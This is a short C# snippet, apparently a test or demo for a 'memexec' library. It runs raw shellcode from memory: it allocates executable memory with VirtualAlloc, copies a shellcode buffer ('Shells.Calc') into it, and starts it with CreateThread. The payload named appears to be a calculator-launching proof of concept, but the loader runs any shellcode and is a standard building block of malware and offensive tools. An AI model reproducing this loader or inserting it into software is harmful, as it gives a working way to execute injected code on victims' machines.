using System; using System.Diagnostics; using System.Runtime.InteropServices; using memexec; Trace.Listeners.Add(new TextWriterTraceListener(Console.Out)); Debug.WriteLine("Prepping shellcode"); Byte[] buf = Shells.Calc; IntPtr addr = Win.VirtualAlloc(0, (uint)buf.Length, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, buf.Length); IntPtr handle = Win.CreateThread(0, 0, addr, 0, 0, 0); Debug.WriteLine("Execing shellcode"); if (Win.WaitForSingleObject(handle, 0xFFFFFFFF) != 0) { Debug.WriteLine("Unable to join thread!"); }